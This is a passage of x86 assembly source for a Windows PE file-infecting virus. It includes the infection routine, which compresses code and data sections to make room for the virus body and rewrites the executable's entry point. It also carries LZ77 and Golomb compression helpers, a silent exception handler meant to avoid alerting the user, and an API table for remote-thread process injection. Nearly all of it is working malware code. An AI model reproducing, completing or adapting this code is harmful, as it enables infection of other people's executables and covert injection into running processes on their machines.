jz lb_ExitInfectPeFile ;Fail to set the file attributes to FILE_ATTRIBUTE_NORMAL
xor ecx, ecx
push ecx
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push ecx
push (FILE_SHARE_READ OR FILE_SHARE_WRITE)
push (GENERIC_READ OR GENERIC_WRITE)
push edi
call [ebx][lpfnCreateFileW-@X]
cmp eax, -1
jz lb_FileOpenFail
push eax ;Initialize hFileHandle
push esi ;<
push edi ;< Restore original file attributes.
call [ebx][lpfnSetFileAttributesW-@X] ;<
xor ecx, ecx
push ecx
push ecx
push ecx
push PAGE_READWRITE
push ecx
push dword ptr [ebp][hFileHandle]
call [ebx][lpfnCreateFileMappingW-@X]
cmp eax, -1
jz lb_CreateFileMappingFail
push eax ; Initialize hFileMappingHandle
xor ecx, ecx
push ecx
push ecx
push ecx
push FILE_MAP_WRITE
push eax
call [ebx][lpfnMapViewOfFile-@X]
test eax, eax
jz lb_MapViewOfFileFail
push eax ;Initialize lpFileMapping
push 0
push dword ptr [ebp][hFileHandle]
call [ebx][lpfnGetFileSize-@X]
cmp eax, -1 ;Is the return value INVALID_FILE_SIZE??
jz lb_StopInfecting
cmp eax, 12 * 1024
jb lb_StopInfecting
push eax ;Initialize dwTotalFileSize
mov eax, [ebp][lpFileMapping]
cmp word ptr [eax], 'ZM'
jnz lb_StopInfecting
mov ecx, [eax+0000003Ch] ;Maybe the file is not a PE file. So you must
cmp ecx, [ebp][dwTotalFileSize] ;ensure the 003Ch offset is in the range of
jae lb_StopInfecting ;the file.
lea edi, [eax+ecx]
push edi ;Initialize lpNtHeaders
cmp dword ptr [edi], 00004550h
jnz lb_StopInfecting
mov ecx, [edi+00000028h]
lea edx, [eax+ecx]
cmp [edx], dword ptr 00EC8160h
jz lb_StopInfecting
xor ecx, ecx
push ecx ;Initialize ulInformation
push ecx ;The end flag
mov [ebp][CompressionInfoAA+off_pSection], ecx
mov [ebp][CompressionInfoBB+off_pSection], ecx
movzx ecx, word ptr [edi+00000006h]
mov [ebp][i], ecx
lea esi, [edi+000000F8h]
lp_FindCodeAndDataSection:
mov ecx, [esi+00000010h]
cmp ecx, 00001000h
jb lb_TryNextSection
mov eax, [esi+00000024h]
cmp eax, 0C0000040h
jz lb_DataSectionFound
cmp eax, 60000020h
jz lb_CodeSectionFound
jmp lb_TryNextSection
lb_DataSectionFound:
call CheckReferenceToSection
jc lb_TryNextSection
mov [ebp][CompressionInfoBB+off_pSection], esi
jmp lb_TryNextSection
lb_CodeSectionFound:
call CheckReferenceToSection
jc lb_TryNextSection
mov [ebp][CompressionInfoAA+off_pSection], esi
lb_TryNextSection:
add esi, SIZE_OF_IMAGE_SECTION_HEADER
dec dword ptr [ebp][i]
jnz lp_FindCodeAndDataSection
lea esi, [ebp][CompressionInfoAA]
mov ecx, [esi]
lea eax, [ebx][lpBufferForDataCompressed]
mov [esi][off_pCompressedDataBuffer], eax
mov [esi-DWORDSofCompressionInfo*4][off_pCompressedDataBuffer], eax
jecxz lb_NoCodeSectionCanBeUsed
call CompressPeSection ;Compress the code section
cmp ecx, VIRUS_PHYSICAL_SIZE
jae lb_OnlyCodeSectionCompressed
;add [esi][off_pCompressedDataBuffer], eax
add [esi-DWORDSofCompressionInfo*4][off_pCompressedDataBuffer], eax ;Adjust the pointer
lb_NoCodeSectionCanBeUsed:
lea esi, [ebp][CompressionInfoBB]
cmp dword ptr [esi], 0
jz lb_StopInfecting
;add [esi][off_pCompressedDataBuffer], eax
call CompressPeSection
cmp ecx, VIRUS_PHYSICAL_SIZE
lea esi, [ebp][CompressionInfoAA]
jae lb_OnlyDataSectionCompressed
cmp dword ptr [esi], 0
jz lb_StopInfecting
or dword ptr [ebp][ulInformation], FLAG_USE_TWO_SECTIONS
cmp [esi][off_ulNumFreeBytes], eax
jae lb_Noname1
cmp ecx, [esi][off_ulNumUsedBytes]
jb lb_StopInfecting
or [ebp][ulInformation], dword ptr FLAG_IN_DATA_SECTION
lb_Noname1:
mov [ebx][JumpOffset-@X], byte ptr 0
jmp lb_CompressionCompleted
lb_OnlyDataSectionCompressed:
or [ebp][ulInformation], dword ptr FLAG_IN_DATA_SECTION
lb_OnlyCodeSectionCompressed:
mov [ebx][JumpOffset-@X], byte ptr (lb_NoSecondCompressedSection - NextStatement)
;*********************************************************************
;* *
;* My Infection algorithm: *
;* 1) Try to find two sections which are not referred by any data *
;* directory in the PE file. *
;* 2) Compress a part of the data of the section. The max size of *
;* the data to be compressed is 16K. Because my compression *
;* algorithm is not so perfect, the processing time will be *
;* very long if the data is too much. *
;* 3) If one of the sections is large enough to hold the *
;* compressed data and the virus code, just place there. *
;* Otherwise, move compressed data in one section to anther *
;* and just place the virus code in the section. *
;* *
;*********************************************************************
;1. two sections & in code section
;
;CODE_SEG DATA_SEG
; _______ _______
;| | | |
;| D | | |
;|_______| | V |
;| | | |
;| C | | |
;|_______| |_______|
;
;
;2. two sections & in data section
;
;DATA_SEG CODE_SEG
; _______ _______
;| | | |
;| C | | |
;|_______| | V |
;| | | |
;| D | | |
;|_______| |_______|
;
;3. one sections & in code section
;
;CODE_SEG
; _______
;| |
;| C |
;|_______|
;| |
;| V |
;|_______|
;
;
;4. one sections & in data section
;
;DATA_SEG
; _______
;| |
;| D |
;|_______|
;| |
;| V |
;|_______|
lb_CompressionCompleted:
mov eax, [ebp][ulInformation]
;lea esi, [ebp][CompressionInfoAA]
cmp eax, dword ptr (FLAG_USE_TWO_SECTIONS) ;If in code section and use two sections?
jz lb_ExchangeCompressionInformation
cmp eax, dword ptr (FLAG_IN_DATA_SECTION) ;If in data section and use one section?
jz lb_ExchangeCompressionInformation
jmp lb_SaveParameters
lb_ExchangeCompressionInformation:
push DWORDSofCompressionInfo
pop ecx
lea edi, [ebp][CompressionInfoBB]
lp_ExchangeData:
xchg eax, [edi]
xchg eax, [edi][DWORDSofCompressionInfo*4]
xchg eax, [edi]
add edi, 4
loop lp_ExchangeData
;lea esi, [ebp][CompressionInfoBB]
lb_SaveParameters:
lea esi, [ebp][CompressionInfoAA]
mov edx, [esi][off_pSection]
lea edi, [ebx][DecompressionParametersA-@X]
xor eax, eax
lea ecx, [eax+1]
test [ebp][ulInformation], dword ptr FLAG_USE_TWO_SECTIONS
jz lb_RemainCounterTo1
inc ecx
mov edx, [ebp][CompressionInfoBB+off_pSection]
lb_RemainCounterTo1:
mov [ebp][pSectionOfOriginalDataAndCode], edx
lp_SaveFileWritingInformation:
push dword ptr [esi][off_ulNumUsedBytes]
push dword ptr [esi][off_pCompressedDataBuffer]
push ecx
mov ecx, [esi][off_ulNumTotalBits]
mov [edi], ecx ;Total number of bits
;mov ecx, [esi][off_pSection]
mov ecx, [ebp][pSectionOfOriginalDataAndCode]
mov edx, [ecx+0000000Ch]
add edx, eax
mov [edi+00000004h], edx ;Source data address for decompression
mov edx, [ecx+00000014h]
mov ecx, [esi][off_OriginalVirtualAddress]
mov [edi+00000008h], ecx
add edx, eax ;File offset where the compressed data will be stored.
pop ecx
push edx
add eax, [esi][off_ulNumUsedBytes]
add edi, 0000000Ch
sub esi, DWORDSofCompressionInfo*4
loop lp_SaveFileWritingInformation
;lea esi, [ebp+CompressionInfoAA][off_pSection]
;mov edi, [esi][off_pSection]
mov edi, [ebp+CompressionInfoAA][off_pSection]
mov edx, [edi+00000014h]
mov ecx, [edi+0000000Ch]
test [ebp][ulInformation], dword ptr FLAG_USE_TWO_SECTIONS
jnz lb_Noname3
add edx, eax
add ecx, eax
lb_Noname3:
mov [ebp][ulAddressOfVCode], ecx
push VIRUS_PHYSICAL_SIZE
lea ecx, [ebx][BaseOfVirusCode-@X]
push ecx
push edx
mov edi, [ebp][lpNtHeaders]
mov eax, [edi+00000080h]
call RvaAddressToFileMappingAddress
xchg esi, eax
lb_LoopOfFindImportDescriptorOfKernel32:
push (SIZE_OF_IMPORT_DESCRIPTOR)
push esi
call IsAllZero
jz lb_StopInfecting ; All import descriptor have been retrieved,
; but kernel32 is not found. So we should do nothing
; but just exit.
mov eax, [esi+0000000Ch]
call RvaAddressToFileMappingAddress
xchg eax, edi
push esi
lea esi, [ebx][NameOfKernel32-@X]
call strcmpi
pop esi
jz lb_Kernel32IsFound
add esi, SIZE_OF_IMPORT_DESCRIPTOR
jmp lb_LoopOfFindImportDescriptorOfKernel32
lb_Kernel32IsFound:
mov eax, [esi+00000010h] ;< Save the address of first thunk
mov [ebx][RvaOfFirstThunkOfKernel32-@X], eax ;<
;mov esi, [ebp][pDataSection]
;push VIRUS_PHYSICAL_SIZE
;lea ecx, [ebx][BaseOfVirusCode-@X]
;push ecx
;mov eax, [ebp][ulAddressOfVCode]
;call RvaToFilePointer
;push eax
mov edi, [ebp][lpNtHeaders] ;<
mov eax, [ebp][ulAddressOfVCode] ;<
add eax, EntryOfVirusCode-BaseOfVirusCode ;< Modify Address of Entry Point
lea ecx, [edi+00000028h] ;< And
mov edx, [ecx] ;< Save Original Address of
mov [ebx][OriginalEntryPoint-@X], edx ;< Entry Point
mov [ecx], eax ;<
mov [ebx][RvaOfEntryPoint-@X], eax ;<
lea ecx, [edi+00000064h]
mov eax, VIRUS_BOOTING_SIZE
cmp [ecx], eax
jae lb_NotEnlargeSizeOfStackCommitSize
add [ecx], eax
lb_NotEnlargeSizeOfStackCommitSize:
lb_LoopOfWriteTargetFile:
pop eax
test eax, eax
jz lb_InfectionCompleted
add eax, [ebp][lpFileMapping]
xchg edi, eax
pop esi
pop ecx
cld
rep movsb
jmp lb_LoopOfWriteTargetFile
lb_InfectionCompleted:
lb_StopInfecting:
push dword ptr [ebp][lpFileMapping]
call [ebx][lpfnUnmapViewOfFile-@X]
lb_MapViewOfFileFail:
push dword ptr [ebp][hFileHandle]
call [ebx][lpfnCloseHandle-@X]
lb_CreateFileMappingFail:
push dword ptr [ebp][hFileMappingHandle]
call [ebx][lpfnCloseHandle-@X]
lb_FileOpenFail:
lb_ExitInfectPeFile:
mov byte ptr [ebx][IsBusy-@X], 0
lb_IsBusyNow:
mov esp, ebp
pop ebp
ret
;*********************************************************************
;* *
;* CompressPeSection() *
;* *
;* Remarks: *
;* Process the specified section to make preparations for *
;* furher infections. *
;* *
;* Parameters: *
;* [Esi] *
;* Point to the start address of the buffer containing the *
;* parameters about data compression. *
;* *
;* Return Value: *
;* [Ecx] *
;* The number of free bytes that can be overwritten with the *
;* virus code after compression. *
;* [Eax] *
;* The number of bytes that the original data of the data *
;* have been compressed to. *
;* *
;*********************************************************************
CompressPeSection:
pop dword ptr [ebx][ReteunFromCompressPeSection-@X]
mov edi, [esi][off_pSection]
mov ecx, [edi+0000000Ch]
mov [esi][off_OriginalVirtualAddress], ecx
mov ecx, [edi+00000010h]
mov edx, MAX_SIZE_TO_COMPRESS
cmp ecx, edx
jbe lb_UseSizeOfRawData
mov ecx, edx
lb_UseSizeOfRawData:
lea edx, [esi][off_ulNumTotalBits]
and [edx], dword ptr 0
mov eax, [edi+00000014h]
add eax, [ebp][lpFileMapping]
push edx
push dword ptr [esi][off_pCompressedDataBuffer]
push ecx
push eax
call LZ77Compress
mov eax, [edx]
test eax, eax
jz lb_StopInfecting
add eax, 7
shr eax, 3
sub ecx, eax
jb lb_StopInfecting
mov [esi][off_ulNumUsedBytes], eax
mov [esi][off_ulNumFreeBytes], ecx
push 'HOLD'
ReteunFromCompressPeSection = $-4
ret
;*********************************************************************
;* *
;* IsRvaInSection() *
;* *
;* Remarks: *
;* Check if the RVA is in the specified section. *
;* *
;* Parameters: *
;* [Eax] *
;* The RVA which will be checked. *
;* [Esi] *
;* Point to the section. *
;* *
;* Return Value: *
;* If the Rva is in the section, both CF and ZF are cleared. *
;* If not, either CF or ZF is set. *
;* *
;*********************************************************************
IsRvaInSection:
;{
push edx
mov edx, [esi+0000000Ch]
cmp eax, edx
jb lb_RvaNotInTheSection
add edx, [esi+00000010h]
cmp edx, eax
jbe lb_RvaNotInTheSection
pop edx
ret
lb_RvaNotInTheSection:
pop edx
ret
;}
;*********************************************************************
;* *
;* CheckReferenceToSection() *
;* *
;* Remarks: *
;* Check if the section is referred by one or more data *
;* directories. If the section is referred, it cannot be used *
;* to write the virus code. *
;* *
;* Parameters: *
;* [Esi] *
;* Point to the section which will be checked. *
;* *
;* Return Value: *
;* If the section is referred, CF is set. *
;* If not, CF is cleared. *
;* *
;*********************************************************************
CheckReferenceToSection:
push ecx
mov edx, [ebp][lpNtHeaders]
movzx ecx, word ptr[edx+00000006h]
add edx, 00000078h
lp_CheckAllDataDirectory:
mov eax, [edx] ; IMAGE_EXPORT_DIRECTORY
call IsRvaInSection
jnbe lb_SectionIsReferred
add edx, 8
loop lp_CheckAllDataDirectory
pop ecx
clc ; Not referred
ret
lb_SectionIsReferred:
pop ecx
stc ; referred
ret
;*********************************************************************
;* *
;* GetProcedureAddress() *
;* *
;* Remarks: *
;* Get the entry address of the specified API function from *
;* the system DLLs of Windows. *
;* *
;* Parameters: *
;* Edi: Pointer to a null-terminated string containing the API *
;* function name whose entry address we want to get. *
;* Eax: The image base of the DLL from which the API function *
;* is exported. *
;* Esi: Pointer to a IMAGE_EXPORT_DIRECTORY structure which *
;* contains the export information. *
;* *
;* Return Value: *
;* The entry address of the API function. *
;* *
;*********************************************************************
GetProcedureAddress:
mov ecx, [esi+00000018h]
mov edx, [esi+00000020h]
add edx, eax
push esi
lp_FindMatchedProcedureName:
mov esi, [edx]
add esi, eax
call strcmpi
jz lb_MatchedProcedureNameFound
add edx, 4
loop lp_FindMatchedProcedureName
xor eax, eax
pop esi
ret
lb_MatchedProcedureNameFound:
pop esi
sub edx, [esi+00000020h]
;sub edx, eax
mov ecx, [esi+0000001Ch]
;add ecx, eax
add ecx, edx
add eax, [ecx]
ret
;extern "C"
;void __declspec(naked) WINAPI
;LZ77Compress(
; PUCHAR __pDataBuffer,
; ULONG __ulDataLength,
; PUCHAR __pOutputBuffer,
; PULONG __pulNumberOfBits
; )
;//{
;*********************************************************************
;* *
;* LZ77Compress() *
;* [Param1] *
;* [Param2] *
;* [Param3] *
;* [Param4] *
;* *
;* Remarks: *
;* Decompress the data. *
;* *
;* Parameters: *
;* [Param1] *
;* Point to the buffer containing the data that will be *
;* compressed. *
;* [Param2] *
;* The total bytes of the data that will be compressed *
;* [Param3] *
;* Point to the buffer where the data will be stored after *
;* compression. *
;* [Param4] *
;* Point to the variable that will save the number of bits of *
;* the data after compression *
;* *
;* Return value: *
;* None. *
;* *
;*********************************************************************
BASE_OFFSET = (36)
pDataBuffer = (BASE_OFFSET)
ulDataLength = (BASE_OFFSET+4)
pOutputBuffer = (BASE_OFFSET+8)
pulNumberOfBits = (BASE_OFFSET+12)
iSlideWindowPtr = (-4)
ulBytesCoded = (-8)
ulBytesDecoded = (-8)
ulLength = (-12)
ulOffset = (-16)
pSlideWindowPtr = (-20)
LZ77Compress:
pushad
mov ebp, esp
xor ebx, ebx ; Intialize ulBitOffset
mov esi, [ebp][pDataBuffer] ; Initialize pUncodedDataPtr
mov edi, [ebp][pOutputBuffer]
push -MAX_WND_SIZE ; Initialize iSlideWindowPtr
push 0 ; Initialzie ulBytesCoded
sub esp, 3 * 4
lp_CompressDataWithLZ77:
mov edx, [ebp][ulBytesCoded]
cmp edx, 00001000h
jb lb_NotAssumeDataCompressibility
mov ecx, ebx ;After MAX_WND_SIZE bytes data have been
shr ecx, 3 ;compressed, we should assume the
cmp ecx, edx ;compressibility of the data.
jbe lb_DataCompressibilityIsStillGood ;
xor ebx, ebx
jmp lb_ExitLZ77Compress
lb_NotAssumeDataCompressibility:
lb_DataCompressibilityIsStillGood:
;mov eax, [ebp][ulBytesCoded]
;cmp eax, [ebp][ulDataLength]
mov eax, [ebp][ulDataLength]
sub eax, [ebp][ulBytesCoded]
jbe lb_AllBytesCompressed
push eax
mov eax, [ebp][iSlideWindowPtr]
mov edx, [ebp][pDataBuffer] ; edx holds pSlideWindowPtr
mov ecx, MAX_WND_SIZE ; ecx holds ulMaxStringLength
cmp eax, 0
jl lb_L01_1
add edx, eax
jmp lb_L01_3
lb_L01_1:
cmp eax, -MAX_WND_SIZE
jl lb_L01_2
add ecx, eax
jmp lb_L01_3
lb_L01_2:
xor ecx, ecx
xor edx, edx
lb_L01_3:
pop eax
cmp eax, ecx
jae lb_BytesLeftMoreThanMaxWndSize
mov ecx, eax
lb_BytesLeftMoreThanMaxWndSize:
call FindSubStringWithMaxLength
mov eax, [ebp][ulLength]
cmp eax, 1
jle lb_MatchedStringLengthIsLessThan1
call Write1ToBitStream
mov eax, [ebp][ulOffset]
mov ecx, OFFSET_CODING_LENGTH
call WriteBitsToBitStream
mov eax, [ebp][ulLength]
call WriteGolombCode
mov eax, [ebp][ulLength]
add esi, eax
add [ebp][iSlideWindowPtr], eax
add [ebp][ulBytesCoded], eax
jmp lp_CompressDataWithLZ77
lb_MatchedStringLengthIsLessThan1:
call Write0ToBitStream
mov eax, [esi]
push 8
pop ecx
call WriteBitsToBitStream
inc esi
inc dword ptr [ebp][iSlideWindowPtr]
inc dword ptr [ebp][ulBytesCoded]
jmp lp_CompressDataWithLZ77
lb_AllBytesCompressed:
lb_ExitLZ77Compress:
mov eax, [ebp][pulNumberOfBits]
mov [eax], ebx
mov esp, ebp
popad
ret 16
;*********************************************************************
;* *
;* WriteBitsToBitStream() *
;* *
;* Remarks: *
;* Writing a series of bits to the bit stream. *
;* *
;* Parameters: *
;* [Edi] *
;* Point to the base address of the bit stream. The address is *
;* byte-boundary. *
;* [Ebx] *
;* The offset in the bit stream where the new bits will *
;* be written. *
;* [Eax] *
;* The bits that will be wtitten to the bit stream. *
;* [Ecx]: *
;* The number of bits that will be written to the bit stream. *
;* *
;* Return value: *
;* None. *
;* *
;*********************************************************************
WriteBitsToBitStream:
lp_LoopOfWritingOffset:
shr eax, 1
jc lb_CurrentBitIs1
call Write0ToBitStream
jmp lb_WriteNextBit
lb_CurrentBitIs1:
call Write1ToBitStream
lb_WriteNextBit:
loop lp_LoopOfWritingOffset
ret
;*********************************************************************
;* *
;* Write1ToBitStream() *
;* *
;* Remarks: *
;* Writing 1 to the bit stream. *
;* *
;* Parameters: *
;* [Edi] *
;* Point to the base address of the bit stream. The *
;* address is byte-boundary. *
;* [Ebx] *
;* The offset in the bit stream where the data 1 will *
;* be written. *
;* *
;* Return value: *
;* None. *
;* *
;*********************************************************************
Write1ToBitStream:
lb_Write1ToBitStream:
push edx
push ecx
push eax
mov eax, ebx
shr eax, 3
add eax, edi
mov ecx, ebx
and ecx, 7
push 1
pop edx
shl edx, cl
or [eax], dl
pop eax
pop ecx
pop edx
inc ebx
ret
;*********************************************************************
;* *
;* Write0ToBitStream *
;* *
;* Remarks: *
;* Writing 0 to the bit stream. *
;* *
;* Parameters: *
;* [Edi] *
;* Point to the base address of the bit stream. The address is *
;* byte-boundary. *
;* [Ebx] *
;* The offset in the bit stream where the data 0 will *
;* be written. *
;* *
;* Return value: *
;* None. *
;* *
;*********************************************************************
Write0ToBitStream:
lb_Write0ToBitStream:
push edx
push ecx
push eax
mov eax, ebx
shr eax, 3
add eax, edi
mov ecx, ebx
and ecx, 7
push 1
pop edx
shl edx, cl
not edx
and [eax], dl
pop eax
pop ecx
pop edx
inc ebx
ret
;*********************************************************************
;* *
;* CompareStrings() *
;* *
;* Remarks: *
;* Compare two strings. *
;* *
;* Parameters: *
;* [Ecx] *
;* Point to string1. *
;* [Edi] *
;* Point to string2. *
;* [Ecx] *
;* The max length of comparation length. *
;* *
;* Return value: *
;* None. *
;* *
;*********************************************************************
CompareStrings:
;//{
push esi
push edi
;lea eax, [esi+1]
;cld
;rep cmpsb
mov eax, esi
lp_CompareStrings:
mov dl, [esi]
cmp dl, [edi]
jnz lb_StringsUnmatched
inc esi
inc edi
loop lp_CompareStrings
lb_StringsUnmatched:
sub esi, eax
mov eax, esi
pop edi
pop esi
ret
;//}
;*********************************************************************
;* FindSubStringWithMaxLength() *
;* *
;* Remarks: *
;* Find the sub string of string2 with the max length *
;* that matches string1. *
;* *
;* Parameters: *
;* [Ecx] *
;* The max length of string1. *
;* [Esi] *
;* Point to string1. *
;* [Edi] *
;* Point to string2. *
;* *
;* Return value: *
;* None. *
;* *
;*********************************************************************
FindSubStringWithMaxLength:
;//{
push esi
push edi
xor eax, eax
mov [ebp][ulLength], eax ; Initailzie return value
mov [ebp][ulOffset], eax ; Initialize return value
mov [ebp][pSlideWindowPtr], edx ; Save pSlideWindowPtr
mov edi, edx
test edi, edi
jz lb_ExitFindLongestSubstring
jecxz lb_ExitFindLongestSubstring
lb_LoopOfFindSubStrings:
push ecx
call CompareStrings
pop ecx
cmp eax, [ebp][ulLength]
jbe lb_SubStringIsNotTheLongest
mov [ebp][ulLength], eax
mov eax, edi
sub eax, [ebp][pSlideWindowPtr]
mov [ebp][ulOffset], eax
lb_SubStringIsNotTheLongest:
inc edi
loop lb_LoopOfFindSubStrings
lb_ExitFindLongestSubstring:
pop edi
pop esi
ret
;//}
;*********************************************************************
;* *
;* WriteGolombCode() *
;* *
;* Remarks: *
;* Write the Golomb code to the bit stream. *
;* *
;* Parameters: *
;* [Eax] *
;* The value which is to be coded. *
;* [Edi] *
;* Point to start address of the bit stream. *
;* [Ebx] *
;* The offset in the bit stream where the Golomb code *
;* will be written. *
;* *
;* Return value: *
;* The length of the coding. *
;* *
;*********************************************************************
WriteGolombCode:
lea ecx, [eax-1]
shr ecx, M ; q
mov edx, ecx
push ecx
jecxz lb_QIsZero
lp_WriteQOnes:
call Write1ToBitStream
loop lp_WriteQOnes
lb_QIsZero:
call Write0ToBitStream
shl edx, M ; q<<m
sub eax, edx ;
dec eax ; r = x-(q<<m)-1
mov ecx, 1
lb_LoopOfWritingR:
shr eax, 1
jc lb_CurrentBitIs1_b
call Write0ToBitStream
jmp lb_CurrentBitIs0_b
lb_CurrentBitIs1_b:
call Write1ToBitStream
lb_CurrentBitIs0_b:
inc ecx
cmp ecx, M
jbe lb_LoopOfWritingR
pop eax
add eax, M+1
ret
;//}
;extern "C"
;void __declspec(naked) WINAPI
;LZ77Decompress(
; PUCHAR __pDataBuffer,
; ULONG __ulNumberOfBits,
; PUCHAR __pOutputBuffer,
; PULONG __pulNumberOfBytes
; )
;//{
;*********************************************************************
;* *
;* LZ77Decompress() *
;* [Param1] *
;* [Param2] *
;* [Param3] *
;* [Param4] *
;* *
;* Remarks: *
;* Decompress the data. *
;* *
;* Parameters: *
;* [Param1] *
;* Point to the buffer containing the data that will be *
;* decompressed. *
;* [Param2] *
;* The total bits of the data that will be decompressed *
;* [Param3] *
;* Point to the buffer where the data will be stored after *
;* decompression. *
;* [Param4] *
;* The number of bytes of the data after decompression *
;* *
;* Return value: *
;* None. *
;* *
;*********************************************************************
ulNumberOfBits = (BASE_OFFSET+4)
pOutputBuffer = (BASE_OFFSET+8)
pulNumberOfBytes = (BASE_OFFSET+12)
LZ77Decompress:
pushad
mov ebp, esp
xor ebx, ebx ; Initialize bit offset
mov esi, [ebp][pDataBuffer]
mov edi, [ebp][pOutputBuffer]
push -MAX_WND_SIZE
push 0
sub esp, 3 * 4
lb_LZ77Decompress:
cmp ebx, [ebp][ulNumberOfBits]
jae lb_AllDataDecompressed
call ReadBitFromBitStream
test eax, eax
jz lb_SingleCharacter
mov eax, [ebp][iSlideWindowPtr]
mov edx, [ebp][pOutputBuffer]
cmp eax, 0
jl lb_L2_a
add edx, eax
jmp lb_L2_b
lb_L2_a:
cmp eax, -MAX_WND_SIZE
jge lb_L2_b
xor edx, edx
lb_L2_b:
push edx
mov ecx, OFFSET_CODING_LENGTH
call ReadBitsFromBitStream
push eax
call ReadGolombCode
pop eax
xchg esi, [esp]
add esi, eax
add [ebp][iSlideWindowPtr], ecx
add [ebp][ulBytesDecoded], ecx
lp_CopyingString:
mov al, [esi]
mov [edi], al
inc esi
inc edi
loop lp_CopyingString
pop esi
jmp lb_LZ77Decompress
lb_SingleCharacter:
mov ecx, 8
call ReadBitsFromBitStream
mov [edi], al
inc edi
inc dword ptr [ebp][iSlideWindowPtr]
inc dword ptr [ebp][ulBytesDecoded]
jmp lb_LZ77Decompress
lb_AllDataDecompressed:
mov eax, [ebp][ulBytesDecoded]
mov ecx, [ebp][pulNumberOfBytes]
jecxz lb_NumberOfBytesNotRequiredReturned
mov [ecx], eax
lb_NumberOfBytesNotRequiredReturned:
mov esp, ebp
popad
ret 16
ReadBitFromBitStream:
push ecx
mov eax, ebx
shr eax, 3
add eax, esi
mov ecx, ebx
and ecx, 7
mov eax, [eax]
shr eax, cl
and eax, 1
pop ecx
inc ebx
ret
ReadBitsFromBitStream:
push edi
push edx
xor edx, edx
xor edi, edi
xchg ecx, edi
lb_LoopOfReadBits:
call ReadBitFromBitStream
shl eax, cl
or edx, eax
inc ecx
dec edi
jnz lb_LoopOfReadBits
mov eax, edx
pop edx
pop edi
ret
;*********************************************************************
;* *
;* ReadGolombCode() *
;* *
;* Remarks: *
;* Read the Golomb code from the bit stream. *
;* *
;* Parameters: *
;* [Esi] *
;* Point to start address of the bit stream. *
;* [Ebx] *
;* The offset in the bit stream where the Golomb code will *
;* be read from. *
;* *
;* Return value: *
;* [Ecx] *
;* The decoding value *
;* *
;*********************************************************************
ReadGolombCode:
xor edx, edx
lb_ReadNextBitUntil0IsFound:
call ReadBitFromBitStream
test eax, eax
jz lb_ZeroBitIsFound
inc edx
jmp lb_ReadNextBitUntil0IsFound
lb_ZeroBitIsFound:
push edx
xor ecx, ecx
xor edx, edx
lb_LoopOfDecodingR:
call ReadBitFromBitStream
shl eax, cl
or edx, eax
inc ecx
cmp ecx, M
jb lb_LoopOfDecodingR
mov ecx, edx
pop edx
shl edx, M
lea ecx, [ecx+edx+1]
ret
;//}
;*********************************************************************
;* ExceptionHandler:
;*
;* The exception-handing routine. When something unnormal
;* occurs anyway, the routine is called by the system. We will
;* do some processings here and then quit our virus program
;* without causing the user's cautions.
;
;* Parameters:
;*
;* fs:[0]: Point the memory unit where the ESP register is
;* saved. The value of the ESP register is equal to the one
;* when the exception occurs.
;*
;* Return Value:
;*
;* None
;*
;*
;*********************************************************************
ExceptionHandler:
if DEBUG
push 0
push offset szError
push offset szExceptionCaused
push 0
call MessageBoxA
endif
xor ebx,ebx
mov eax, fs:[ebx]
mov esp, [eax]
jmp lb_ExitVirusProgram
NameOfKernel32 db 'Kernel32.dll', 0
if DEBUG
TargetProcessName db 'mm.exe', 0
endif
db 'prcv'
db (MajorVersion + 00000030h)
db '.'
db (MinorVersion + 00000030h)
n_GetModuleHandleA db 'GetModuleHandleA', 0
n_GetProcAddress db 'GetProcAddress', 0
n_CreateToolhelp32Snapshot db 'CreateToolhelp32Snapshot', 0
n_Process32First db 'Process32First', 0
n_Process32Next db 'Process32Next', 0
n_Module32First db 'Module32First', 0
n_Module32Next db 'Module32Next', 0
n_CloseHandle db 'CloseHandle', 0
n_OpenProcess db 'OpenProcess', 0
n_CreateRemoteThread db 'CreateRemoteThread', 0
n_VirtualProtectEx db 'VirtualProtectEx', 0
n_VirtualAllocEx db 'VirtualAllocEx', 0
n_VirtualFreeEx db 'VirtualFreeEx', 0
n_WriteProcessMemory db 'WriteProcessMemory', 0
n_CreateFileA db 'CreateFileA', 0
n_CreateFileW db 'CreateFileW', 0
n_CreateFileMapping db 'CreateFileMappingW', 0
n_MapViewOfFile db 'MapViewOfFile', 0
n_UnmapViewOfFile db 'UnmapViewOfFile', 0
n_GetFileAttributes db 'GetFileAttributesW', 0
n_SetFileAttributes db 'SetFileAttributesW', 0
n_GetFileSize db 'GetFileSize', 0
n_MultiByteToWideChar db 'MultiByteToWideChar', 0
ife SKIP_CURRENT_PROCESS
n_GetCurrentProcessId db 'GetCurrentProcessId', 0
endif
if ERROR_DIAGNOSE
n_GetLastError db 'GetLastError', 0
endif
if NOT_INFECT_FILES
LogFileName db 'c:\openlog.txt', 0
endif
RelativeBase = @B
; import-function string offset table
IfNameTable dd n_GetModuleHandleA - RelativeBase
dd n_GetProcAddress - RelativeBase
dd n_CreateToolhelp32Snapshot - RelativeBase
dd n_Process32First - RelativeBase
dd n_Process32Next - RelativeBase
dd n_Module32First - RelativeBase
dd n_Module32Next - RelativeBase
dd n_CloseHandle - RelativeBase
dd n_OpenProcess - RelativeBase
dd n_CreateRemoteThread - RelativeBase
dd n_VirtualProtectEx - RelativeBase
dd n_VirtualAllocEx - RelativeBase
dd n_VirtualFreeEx - RelativeBase
dd n_WriteProcessMemory - RelativeBase
if NOT_INFECT_FILES
dd n_CreateFileA - RelativeBase
endif
dd n_CreateFileW - RelativeBase
dd n_CreateFileMapping - RelativeBase
dd n_MapViewOfFile - RelativeBase
dd n_UnmapViewOfFile - RelativeBase
dd n_GetFileAttributes - RelativeBase
dd n_SetFileAttributes - RelativeBase
dd n_GetFileSize - RelativeBase
dd n_MultiByteToWideChar - RelativeBase
ife SKIP_CURRENT_PROCESS
dd n_GetCurrentProcessId - RelativeBase
endif
if ERROR_DIAGNOSE
dd n_GetLastError - RelativeBase
endif
dd 0 ; 0 meaning the end of the table
IsBusy db 0
CallAddressTable = $
@X = $
lpfnGetModuleHandleA dd ?
lpfnGetProcAddress dd ?
lpfnCreateToolhelp32Snapshot dd ?
lpfnProcess32First dd ?
lpfnProcess32Next dd ?
lpfnModule32First dd ?
lpfnModule32Next dd ?
lpfnCloseHandle dd ?
lpfnOpenProcess dd ?
lpfnCreateRemoteThread dd ?
lpfnVirtualProtectEx dd ?
lpfnVirtualAllocEx dd ?
lpfnVirtualFreeEx dd ?
lpfnWriteProcessMemory dd ?
if NOT_INFECT_FILES
lpfnCreateFileA dd ?
endif
lpfnCreateFileW dd ?
lpfnCreateFileMappingW dd ?
lpfnMapViewOfFile dd ?
lpfnUnmapViewOfFile dd ?
lpfnGetFileAttributesW dd ?
